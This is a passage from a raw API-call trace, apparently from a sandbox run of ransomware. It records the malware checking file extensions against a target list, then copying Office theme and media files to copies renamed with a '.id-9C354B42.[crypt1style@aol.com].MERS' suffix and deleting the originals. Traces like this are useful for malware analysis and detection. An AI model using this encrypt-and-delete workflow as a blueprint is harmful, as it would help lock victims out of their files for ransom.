(lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.675] lstrlenW (lpString=".doc") returned 4 [0272.675] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString=".docx") returned 5 [0272.675] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.675] lstrlenW (lpString=".pdf") returned 4 [0272.675] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString=".xls") returned 4 [0272.675] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString=".xlsx") returned 5 [0272.675] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.675] lstrlenW (lpString=".ppt") returned 4 [0272.675] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.675] lstrlenW (lpString=".zip") returned 4 [0272.675] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString=".rar") returned 4 [0272.675] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString=".bz2") returned 4 [0272.675] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.675] lstrlenW (lpString=".7z") returned 3 [0272.676] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString=".dbf") returned 4 [0272.676] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString=".1cd") returned 4 [0272.676] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString=".jpg") returned 4 [0272.676] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString=".doc") returned 4 [0272.676] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString=".docx") returned 5 [0272.676] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.676] lstrlenW (lpString=".pdf") returned 4 [0272.676] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString=".xls") returned 4 [0272.676] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString=".xlsx") returned 5 [0272.676] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.676] lstrlenW (lpString=".ppt") returned 4 [0272.676] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString=".zip") returned 4 [0272.676] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString=".rar") returned 4 [0272.676] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString=".bz2") returned 4 [0272.676] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.676] lstrlenW (lpString=".7z") returned 3 [0272.676] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.676] lstrlenW (lpString=".dbf") returned 4 [0272.677] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.677] lstrlenW (lpString=".1cd") returned 4 [0272.677] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.677] lstrlenW (lpString=".jpg") returned 4 [0272.677] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.677] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.677] lstrlenW (lpString="Technic.eftx") returned 12 [0272.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.689] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=23692) returned 1 [0272.689] CloseHandle (hObject=0x3d8) returned 1 [0272.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0272.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0272.690] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.690] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0272.690] GetLastError () returned 0x0 [0272.690] ReadFile (in: hFile=0x3d8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0272.773] WriteFile (in: hFile=0x408, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0272.773] ReadFile (in: hFile=0x3d8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0272.774] WriteFile (in: hFile=0x408, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.774] SetEndOfFile (hFile=0x408) returned 1 [0272.974] CloseHandle (hObject=0x408) returned 1 [0272.974] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.974] SetEndOfFile (hFile=0x3d8) returned 1 [0273.051] CloseHandle (hObject=0x3d8) returned 1 [0273.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0273.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.066] lstrlenW (lpString=".doc") returned 4 [0273.066] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.066] lstrlenW (lpString=".docx") returned 5 [0273.066] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.066] lstrlenW (lpString=".pdf") returned 4 [0273.066] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.066] lstrlenW (lpString=".xls") returned 4 [0273.066] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.066] lstrlenW (lpString=".xlsx") returned 5 [0273.066] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.066] lstrlenW (lpString=".ppt") returned 4 [0273.066] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.066] lstrlenW (lpString=".zip") returned 4 [0273.066] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.066] lstrlenW (lpString=".rar") returned 4 [0273.066] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".bz2") returned 4 [0273.067] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".7z") returned 3 [0273.067] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.067] lstrlenW (lpString=".dbf") returned 4 [0273.067] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.067] lstrlenW (lpString=".1cd") returned 4 [0273.067] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.067] lstrlenW (lpString=".jpg") returned 4 [0273.067] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.067] lstrlenW (lpString=".doc") returned 4 [0273.067] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".docx") returned 5 [0273.067] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.067] lstrlenW (lpString=".pdf") returned 4 [0273.067] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".xls") returned 4 [0273.067] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".xlsx") returned 5 [0273.067] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.067] lstrlenW (lpString=".ppt") returned 4 [0273.067] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.067] lstrlenW (lpString=".zip") returned 4 [0273.067] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".rar") returned 4 [0273.067] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.067] lstrlenW (lpString=".bz2") returned 4 [0273.068] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.068] lstrlenW (lpString=".7z") returned 3 [0273.068] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.068] lstrlenW (lpString=".dbf") returned 4 [0273.068] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.068] lstrlenW (lpString=".1cd") returned 4 [0273.068] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0273.068] lstrlenW (lpString=".jpg") returned 4 [0273.068] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.068] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0273.068] lstrlenW (lpString="Urban.eftx") returned 10 [0273.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0273.102] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=19611) returned 1 [0273.102] CloseHandle (hObject=0x284) returned 1 [0273.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0273.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.113] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.113] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0273.114] GetLastError () returned 0x0 [0273.114] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0273.243] WriteFile (in: hFile=0x2d8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0273.244] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0273.244] WriteFile (in: hFile=0x2d8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0273.244] SetEndOfFile (hFile=0x2d8) returned 1 [0273.244] CloseHandle (hObject=0x2d8) returned 1 [0273.244] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.244] SetEndOfFile (hFile=0x3a8) returned 1 [0273.246] CloseHandle (hObject=0x3a8) returned 1 [0273.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.285] lstrlenW (lpString=".doc") returned 4 [0273.285] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.285] lstrlenW (lpString=".docx") returned 5 [0273.285] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.285] lstrlenW (lpString=".pdf") returned 4 [0273.285] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.285] lstrlenW (lpString=".xls") returned 4 [0273.285] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.285] lstrlenW (lpString=".xlsx") returned 5 [0273.285] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.285] lstrlenW (lpString=".ppt") returned 4 [0273.285] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.285] lstrlenW (lpString=".zip") returned 4 [0273.285] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.285] lstrlenW (lpString=".rar") returned 4 [0273.285] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.285] lstrlenW (lpString=".bz2") returned 4 [0273.286] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".7z") returned 3 [0273.286] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.286] lstrlenW (lpString=".dbf") returned 4 [0273.286] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.286] lstrlenW (lpString=".1cd") returned 4 [0273.286] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.286] lstrlenW (lpString=".jpg") returned 4 [0273.286] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.286] lstrlenW (lpString=".doc") returned 4 [0273.286] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".docx") returned 5 [0273.286] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.286] lstrlenW (lpString=".pdf") returned 4 [0273.286] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".xls") returned 4 [0273.286] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".xlsx") returned 5 [0273.286] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.286] lstrlenW (lpString=".ppt") returned 4 [0273.286] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.286] lstrlenW (lpString=".zip") returned 4 [0273.286] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".rar") returned 4 [0273.286] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".bz2") returned 4 [0273.286] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.286] lstrlenW (lpString=".7z") returned 3 [0273.286] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.287] lstrlenW (lpString=".dbf") returned 4 [0273.287] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.287] lstrlenW (lpString=".1cd") returned 4 [0273.287] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0273.287] lstrlenW (lpString=".jpg") returned 4 [0273.287] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.287] lstrcmpiW (lpString1=".MMW", lpString2=".MERS") returned 1 [0273.287] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0273.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.287] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=394200) returned 1 [0273.287] CloseHandle (hObject=0x398) returned 1 [0273.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0273.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0273.336] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.336] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0273.545] GetLastError () returned 0x0 [0273.545] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x603d8, lpOverlapped=0x0) returned 1 [0273.786] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0273.792] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0273.792] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.792] SetEndOfFile (hFile=0x3a0) returned 1 [0273.792] CloseHandle (hObject=0x3a0) returned 1 [0273.792] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.792] SetEndOfFile (hFile=0x3b8) returned 1 [0273.801] CloseHandle (hObject=0x3b8) returned 1 [0273.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0273.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.802] lstrlenW (lpString=".doc") returned 4 [0273.802] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0273.802] lstrlenW (lpString=".docx") returned 5 [0273.802] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0273.802] lstrlenW (lpString=".pdf") returned 4 [0273.802] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0273.802] lstrlenW (lpString=".xls") returned 4 [0273.802] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0273.802] lstrlenW (lpString=".xlsx") returned 5 [0273.802] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0273.802] lstrlenW (lpString=".ppt") returned 4 [0273.802] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0273.802] 